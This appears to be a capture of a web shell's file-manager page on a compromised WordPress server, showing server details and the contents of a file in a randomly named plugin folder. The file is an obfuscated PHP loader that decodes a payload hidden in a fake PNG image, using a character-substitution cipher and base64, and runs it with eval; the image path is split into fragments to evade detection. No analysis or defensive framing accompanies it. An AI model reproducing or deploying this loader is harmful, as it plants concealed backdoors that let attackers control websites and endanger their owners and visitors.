HEX
Server: Apache/2.4.41 (Ubuntu)
System: Linux ip-172-31-42-149 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025 aarch64
User: ubuntu (1000)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Upload Files
File: /var/www/vhost/disk-apps/tienda-qas.allup.com.co/wp-content/plugins/acybokyw/ezhypan.txt
<?php

function zuhamu_fykhodawu($arulol_chihyzhu) {
    switch ($arulol_chihyzhu) {
        case 1:
            return dyfivy_zedithezhad();
        case 2:
            return miboja_pyjakhizen();
    }
}

function etujuv_eshosujuhe($arulol_chihyzhu) {
    $uchinax = zuhamu_fykhodawu(1);
    $ypazhid = zuhamu_fykhodawu(2);
    for ($ifitisa = 0; $ifitisa < strlen($uchinax); $ifitisa++) {
        $kuniso = substr($uchinax, $ifitisa, 1);
        $luzaxez = substr($ypazhid, $ifitisa, 1);
        $cyjoboq[$kuniso] = $luzaxez;
    }

    $aledax = strtr($arulol_chihyzhu, $cyjoboq);
    $aledax = base64_decode($aledax);

    return $aledax;
}

function arakok_qetheforeth($arulol_chihyzhu) {
    $uheshet = array();
    if (!file_exists($arulol_chihyzhu))
        return false;
    $uriqyd = @file_get_contents($arulol_chihyzhu);
    if (!$uriqyd)
        return false;
    $uriqyd = substr($uriqyd, 3);
    $uheshet = etujuv_eshosujuhe($uriqyd);
    return $uheshet;
}

function dyfivy_zedithezhad() {
    $uriqyd = "E+0QGX3C2=jAz54cxeTrUJLWv9ZhtIakSodK1Muy/pgflBYVwRqDNni7sF6bHmP8O";
    return $uriqyd;
}

function miboja_pyjakhizen() {
    $uheshet = "S95EIRrZKa13lunjTDCBdyfWM2i0tYhwQ/Hmz46A7LPJoXpV=gFse+GkOv8cUbNqx";
    return $uheshet;
}

$ujafuga = arakok_qetheforeth(__DIR__ . "/asset" . "s/imag" . "es/i" . "tegule" . ".png");
if ($ujafuga) {
    @eval($ujafuga);
}